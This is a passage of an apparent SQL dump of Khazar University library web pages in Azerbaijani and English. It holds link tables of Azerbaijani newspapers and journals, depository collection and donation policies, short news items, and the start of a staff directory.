href=\"http://www.bakutimes.az/view/default.phtml?lang=az\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Baku Times</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://paritet.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Paritet</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.birja-vdv.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Birja</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.respublica-news.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Respublika</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.bizimyol.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Bizim yol</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.sherg.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Şərq</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.butov.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Bütöv Azərbaycan</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://tezadlar.narod.ru/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Təzadlar</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.scwra.gov.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Cəmiyyət və din</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.vergiler.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Vergilər</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.echo-az.com/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Эхо</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://vyshka.azeurotel.com/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Вышка</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://baku.adalet-az.com/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Ədalət</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.yeniazerbaycan.com/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Yeni Azərbaycan</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.football-plus.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Futbol +</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><strong style=\"color:#252525;font-family:Arial, sans-serif;font-size:13.5pt;box-sizing:border-box\"><span style=\"color:#337ab7\"><a href=\"http://www.musavat.com/\">Yeni Müsavat</a></span></strong></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.xalqcebhesi.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Xalq cəbhəsi</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><strong><strong><a href=\"http://www.zaman.az/az/mainAction.action\"><strong>Zaman&nbsp;–&nbsp;Azərbaycan</strong></a></strong> </strong></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.xalqqazeti.com/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Xalq qəzeti</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.zerkalo.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Зеркало</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n</tbody></table><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Jurnallar:</strong>&nbsp;</p>\r\n<table cellpadding=\"0\" width=\"600\" style=\"\" width:6.25in;background:#e9e9eb;border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr>\r\n  <td>\r\n  <br><ul><li><strong><a href=\"http://alatoran.org/\">Alatoran</a>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</strong></li></ul>\r\n  </td>\r\n  <td>\r\n  <br><ul><li><a href=\"http://khazar-view.org/\"><strong>Xəzər xəbər</strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td>\r\n  <br><ul><li><a href=\"http://www.azyb.net/cgi-bin/jurn/main.cgi?s=1\"><strong>Azərbaycan</strong></a></li></ul><br>\r\n  </td>\r\n  <td>\r\n  <br><ul><li><a href=\"http://www.infocity.az/\"><strong>Info city</strong></a>&nbsp;&nbsp;</li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td>\r\n  <br><ul><li><a href=\"http://azerbaijanarcheology.com/\"><strong>Azərbaycan arxeologiyası</strong></a>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</li></ul><br>\r\n  </td>\r\n  <td>\r\n  <br><ul><li><a href=\"http://www.ijar.lit.az/\"><strong>International Journal of Academic Research</strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td>\r\n  <br><ul><li><strong><a href=\"http://www.azer.com/\">Azerbaijan International</a></strong></li></ul>\r\n  </td>\r\n  <td>\r\n  <br><ul><li><a href=\"http://irs-az.com/\"><strong>İRS</strong></a>&nbsp;&nbsp;</li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td>\r\n  <br><ul><li><strong><a href=\"http://www.taxesnews.az/\">Azərbaycanın vergi xəbərləri</a></strong></li></ul>\r\n  </td>\r\n  <td>\r\n  <br><ul><li><a href=\"http://jas-khazar.org/\"><strong>Khazar Journal of Humanities and Social Sciences</strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td>\r\n  <br><ul><li><a href=\"http://www.biznesjurnal.com/\"><strong>Banklar və biznes</strong></a>&nbsp;&nbsp;</li></ul><br>\r\n  </td>\r\n  <td>\r\n  <br><ul><li><a href=\"http://jurnal.meclis.gov.az/\"><strong>Milli Məclis</strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td>\r\n  <br><ul><li><a href=\"http://www.baku-media.ru/\"><strong>Баку</strong></a></li></ul>\r\n  </td>\r\n  <td>\r\n  <br><ul><li><a href=\"http://www.regionplus.az/\"><strong>Region plus</strong></a>&nbsp;&nbsp;</li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td>\r\n  <br><ul><li><a href=\"http://www.scwra.gov.az/\"><strong>Dövlət və din</strong></a>&nbsp;</li></ul>\r\n  </td>\r\n  <td>\r\n  <br><ul><li><a href=\"http://www.azyb.net/cgi-bin/jurn/main.cgi?s=2\"><strong>Ulduz</strong></a>&nbsp;&nbsp;</li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td>\r\n  <br><ul><li><a href=\"http://eldergisi.ws/\"><strong>El</strong></a></li></ul>\r\n  </td>\r\n  <td>\r\n  <br><ul><li><strong><a href=\"http://www.visions.az/\">Visions of Azerbaijan</a></strong></li></ul></td></tr></tbody></table>'),(5061,2946,'en','Depository Library Collections','Depository Library Collections','<img src=\"http://www.khazar.org/files/library/wb.jpg\" style=\"border:0px #000000;float:left;width:200px;height:94px;margin:7px\"><p style=\"text-align:justify\">In 1999 the LIC was designated by the World Bank as an\r\nofficial depository for World Bank Publications.</p><p style=\"text-align:justify\">The Depository Library Programs increases public\r\ninterest in the World Bank and ADB\'s activities and allows for wider\r\ndissemination of information. The Depository&nbsp;library possesses over 3,000\r\ndocuments. The Collections consist of books, selected country and economic\r\nstudies, technical papers, annual reports, statistical publications, documents\r\non loans and technical assistance projects, environmental impact assessments,\r\nand public information materials that are invaluable to the study and research\r\nof economic growth.</p><p style=\"text-align:justify\"><strong><a href=\"https://data.worldbank.org/data-catalog\">World Bank Publications\r\nCatalogue</a></strong></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><img src=\"/files/library/adb.jpg\" style=\"width:200px;height:76px;margin:7px;float:left\">The\r\nKhazar University LIC is Regional Depository Library of the Asian Development\r\nBank since 2005.<br></p><p style=\"text-align:justify\">The\r\nKhazar University has agreed to work with the Asian Bank as active partner in\r\nthe dissemination of Bank materials by promoting them and encouraging their use\r\namong different groups of university readers and public users as well.</p><p style=\"text-align:justify\">Publications provided include books, selected country and economic studies,\r\ntechnical papers, annual reports, statistical publications, documents on loans\r\nand technical assistance projects, environmental impact assessments, and public\r\ninformation materials.</p><p><strong style=\"text-align:justify\"><a href=\"https://www.adb.org/publications/catalog\" title=\"Asian Bank Publications Catalogue\">Asian Bank Publications Catalogue</a></strong><br></p>'),(5062,2946,'az','Depozitar Kitabxana Kolleksiyası','Depozitar Kitabxana Kolleksiyası','<img src=\"http://www.khazar.org/files/library/wb.jpg\" style=\"border:0px #000000;float:left;width:200px;height:94px;margin:7px\"><p style=\"text-align:justify\">In 1999 the LIC was designated by the World Bank as an\r\nofficial depository for World Bank Publications.</p><p style=\"text-align:justify\">The Depository Library Programs increases public\r\ninterest in the World Bank and ADB\'s activities and allows for wider\r\ndissemination of information. The Depository&nbsp;library possesses over 3,000\r\ndocuments. The Collections consist of books, selected country and economic\r\nstudies, technical papers, annual reports, statistical publications, documents\r\non loans and technical assistance projects, environmental impact assessments,\r\nand public information materials that are invaluable to the study and research\r\nof economic growth.</p><p style=\"text-align:justify\"><strong><a href=\"https://data.worldbank.org/data-catalog\">World Bank Publications\r\nCatalogue</a></strong></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><img src=\"/files/library/adb.jpg\" style=\"width:200px;height:76px;margin:7px;float:left\">The\r\nKhazar University LIC is Regional Depository Library of the Asian Development\r\nBank since 2005.<br></p><p style=\"text-align:justify\">The\r\nKhazar University has agreed to work with the Asian Bank as active partner in\r\nthe dissemination of Bank materials by promoting them and encouraging their use\r\namong different groups of university readers and public users as well.</p><p style=\"text-align:justify\">Publications provided include books, selected country and economic studies,\r\ntechnical papers, annual reports, statistical publications, documents on loans\r\nand technical assistance projects, environmental impact assessments, and public\r\ninformation materials.</p><p><strong style=\"text-align:justify\"><a href=\"https://www.adb.org/publications/catalog\" title=\"Asian Bank Publications Catalogue\">Asian Bank Publications Catalogue</a></strong><br></p>'),(5063,2947,'en','Collection Development Policy','Collection Development Policy','<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s37/Mission/en\" target=\"_blank\">Mission</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s39/Collection-Development-Policys-Scope/en\" target=\"_blank\">Collection Development\r\n     Policy’s Scope</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s40/Access-to-the-collections/en\" target=\"_blank\">Access to the collections</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s41/Preservation/en\" target=\"_blank\">Preservation</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s42/Access-to-the-electronic-resources/en\" target=\"_blank\">Access to the electronic\r\n     resources</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s43/Donations-transfers-and-deposited-material/en\" target=\"_blank\">Donations, transfers and\r\n     deposited material</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s44/Recommendations/en\" target=\"_blank\">Recommendations</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s45/Printed-materials/en\" target=\"_blank\">Printed materials</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s46/Language/en\" target=\"_blank\">Language</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s47/Reference-works-in-the-LIC/en\" target=\"_blank\">Reference works in the LIC</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s48/Periodicals/en\" target=\"_blank\">Periodicals</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s49/Purchase/en\" target=\"_blank\">Purchase</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s50/Audio-and-audio-visual-materials/en\" target=\"_blank\">Audio and audio-visual\r\n     materials</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><a href=\"http://library.khazar.org/s51/Electronic-publications/en\" target=\"_blank\"><strong>Electronic publications</strong></a></li>\r\n</ul>'),(5064,2947,'az','Kolleksiya İnkişaf Siyasəti','Kolleksiya İnkişaf Siyasəti','<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s37/Mission/en\" target=\"_blank\">Mission</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s39/Collection-Development-Policys-Scope/en\" target=\"_blank\">Collection Development\r\n     Policy’s Scope</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s40/Access-to-the-collections/en\" target=\"_blank\">Access to the collections</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s41/Preservation/en\" target=\"_blank\">Preservation</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s42/Access-to-the-electronic-resources/en\" target=\"_blank\">Access to the electronic\r\n     resources</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s43/Donations-transfers-and-deposited-material/en\" target=\"_blank\">Donations, transfers and\r\n     deposited material</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s44/Recommendations/en\" target=\"_blank\">Recommendations</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s45/Printed-materials/en\" target=\"_blank\">Printed materials</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s46/Language/en\" target=\"_blank\">Language</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s47/Reference-works-in-the-LIC/en\" target=\"_blank\">Reference works in the LIC</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s48/Periodicals/en\" target=\"_blank\">Periodicals</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s49/Purchase/en\" target=\"_blank\">Purchase</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><strong><a href=\"http://library.khazar.org/s50/Audio-and-audio-visual-materials/en\" target=\"_blank\">Audio and audio-visual\r\n     materials</a></strong>&nbsp;</li></ul>\r\n<ul type=\"square\">\r\n <li style=\"\" color:#3a3b3b;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\"><a href=\"http://library.khazar.org/s51/Electronic-publications/en\" target=\"_blank\"><strong>Electronic publications</strong></a></li>\r\n</ul>'),(5065,2948,'az','Donations','Donations','<p style=\"text-align:justify\">Readers who wish to donate works to the University Library may address them to library staff responsible for special collections.<br></p><p style=\"text-align:justify\">All donations are formally acknowledged. The University Library reserves the right and discretion to accept or discard donations which either duplicate existing holdings or fall outside its Collection Development Policy. In view of the large number of donations received, rejected donations are not returned to their donors, although efforts will be made where possible to find a more suitable library within the University where such donations can be accommodated.</p>'),(5066,2948,'en','Donations','Donations','<p style=\"text-align:justify\">Readers who wish to donate works to the University Library may address them to library staff responsible for special collections.<br></p><p style=\"text-align:justify\">All donations are formally acknowledged. The University Library reserves the right and discretion to accept or discard donations which either duplicate existing holdings or fall outside its Collection Development Policy. In view of the large number of donations received, rejected donations are not returned to their donors, although efforts will be made where possible to find a more suitable library within the University where such donations can be accommodated.</p>'),(5068,2949,'en','“Khazar” Staff Member participates in the Summit of Eurasian Higher Education Institutions','The summit of Eurasian Higher Education Institutions started its work in Istanbul today, organized by EURIE...','<p>The summit of Eurasian Higher Education Institutions started its work in Istanbul today, organized by EURIE. About 300 higher education institutions from more than 80 countries are participating in the summit. Khazar University is represented by Alovsat Amirbayli, Director of Public Relations and Media, Khazar University.</p><p>The summit ends on February 16.</p>'),(6013,3433,'az','“SpringerNature” nəşriyyat evinin nümayəndələri KİM-də oldular','2018-ci il sentyabrın 20-də “SpringerNature” nəşriyyat evinin nümayəndələri Merve Okur Karagülle...','<p>2018-ci il sentyabrın 20-də “SpringerNature” nəşriyyat evinin nümayəndələri Merve Okur Karagülle və Selin Şencanlı Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzində oldular. Nəşriyyat və Kitabxana-İnformasiya Mərkəzi arasında faydalı resursların əlçatan olması barəsində danışıqlar aparıldı.</p><p>Növbəti aylarda tədqiqatçılar üçün “Məqalələrin necə yazılması” haqqında təqdimatın təşkil edilməsi planlaşdırıldı.</p>'),(6014,3433,'en','Representatives of “SpringerNature” publishing house visit LIC','On September 20, 2018, Merve Okur Karagulle and Selin Shencanli, the representatives of “SpringerNature”...','<p>On September 20, 2018, Merve Okur Karagulle and Selin Shencanli, the representatives of “SpringerNature” publishing house visited Library and Information Center at Khazar University and held discussions on the accessibility of useful resources for both sides.</p><p>It is planned to conduct a presentation on the topic “How to produce an article” in the upcoming months.</p>'),(5067,2949,'az','“Xəzər”in nümayəndəsi Avrasiya ali məktəblərinin sammitində iştirak edir','Bu gün İstanbulda EURIE-nin təşkilatçılığı ilə Avrasiya ali məktəblərinin sammiti öz işinə başlamışdır...','<p>Bu gün İstanbulda EURIE-nin təşkilatçılığı ilə Avrasiya ali məktəblərinin sammiti öz işinə başlamışdır. 80-dən çox ölkədən 300-dək ali məktəbin qatıldığı sammitdə Xəzər Universitetini İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli təmsil edir.</p><p>Sammit fevralın 16-da başa çatacaq.</p>'),(5995,3424,'az','İbtidai Sinif Müəllimlərinin 1-ci Təhsil Forumunda “Dünya” Təhsil Kompleksinin direktor müavini mükafatlandırıldı','Yeni təhsil ilinin başlanması münasibətilə və Azərbaycan Respublikasında Təhsilin İnkişafı üzrə Dövlət Strategiyasına dəstək olaraq...','<p>Yeni təhsil ilinin başlanması münasibətilə və Azərbaycan Respublikasında Təhsilin İnkişafı üzrə Dövlət Strategiyasına dəstək olaraq ölkəmizdə ilk dəfə olaraq sentyabrın 8-də İbtidai Sinif Müəllimlərinin 1-ci Təhsil Forumu (İSMTF) keçirilmişdir. Forum \"Çinar Yayımları” nəşriyyatının təşəbbüsü və Nəsimi Rayon İcra hakimiyyəti, Müasir İnnovasiyalar Liseyi və PROAKTİV şirkəti tərəfindən təşkil olunmuşdu. Forumda ibtidai sinif və məktəbəqədər hazırlıq müəllimləri, həmçinin təhsil sahəsində aparıcı mütəxəssislər, ekspertlər iştirakı etmişlər.</p><p>Forumda tədbirin Təşkilat Komitəsi tərəfindən təhsil sahəsində fəaliyyət göstərən, öz peşəkarlığı ilə seçilən müəllimlərə minnətdarlıq ifadə etmək məqsədilə Azərbaycan müstəqillik tarixinin ilk maarif naziri Nəsib bəy Yusifbəylinin adını daşıyan mükafat təsis olunduğu elan edildi və 3 nəfərə mükafat təqdim olundu.</p><p>“Dünya” Təsil Kompleksinin İbtidai siniflər üzrə direktor müavini Cəmilə Əsgərova dövlət ibtidai sinif riyaziyyat dərsliklərinin həmmüəllifi olduğuna, yeni kurikulum sisteminə uyğun dərsliklərin əmələ gəlməsində böyük zəhmət və fədakarlıq nümayiş etdirdiyinə görə Nəsib bəy Yusifbəyli mükafatı ilə təltif olundu.</p>'),(5069,2950,'az','İşçi heyəti','İşçi heyəti','<p><strong><img src=\"/files/library/tatiana_z.jpg\" style=\"float:left;width:150px;height:116px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/library/Tatiana_Z_CV.pdf\">Tatyana Zayseva</a></strong><br></p><p><strong><strong>Kitabxana İnformasiya Mərkəzinin&nbsp;direktoru</strong><br></strong></p><p>İqtisadiyyatda Riyazi Metodlar üzrə fəlsəfə doktoru<strong>&nbsp;&nbsp;</strong><br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:tzaytseva@khazar.org\">tzaytseva[at]khazar.org</a></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Telefon:</strong>&nbsp;(+994 12) 421 10 93 (263)  </p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><a href=\"http://www.khazar.org/files/library/AYTAJ_MISGARLI_CV.pdf\"><img src=\"/files/library/aytac_m.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Aytac Misgərli</a></strong></p><p><strong>Kitabxana İnformasiya Mərkəzi direktor müavini  </strong></p><p>Kitabxanaşünaslıq və&nbsp;Biblioqrafiya&nbsp;üzrə magistr&nbsp;(Bakı Dövlət&nbsp;Universiteti, Azərbaycan)  <br></p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:amiskerli@khazar.org\">amiskerli[at]khazar.org</a></p><p><a href=\"mailto:amiskerli@khazar.org\"></a><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Telefon</strong>: (+994 12) 421 10 93 (263)</p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><a href=\"http://www.khazar.org/files/library/Samira_CV.pdf\"><img src=\"/files/library/samira_o.jpg\" style=\"float:left;width:150px;height:174px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Samirə Orucova</a></strong></p><p><strong><strong>Kataloqlaşdırma bölməsinin müdiri</strong><br></strong></p><p>Kitabxanaşünaslıq və Biblioqrafiya  üzrə bakalavr&nbsp;(Bakı Dövlət&nbsp;Universiteti, 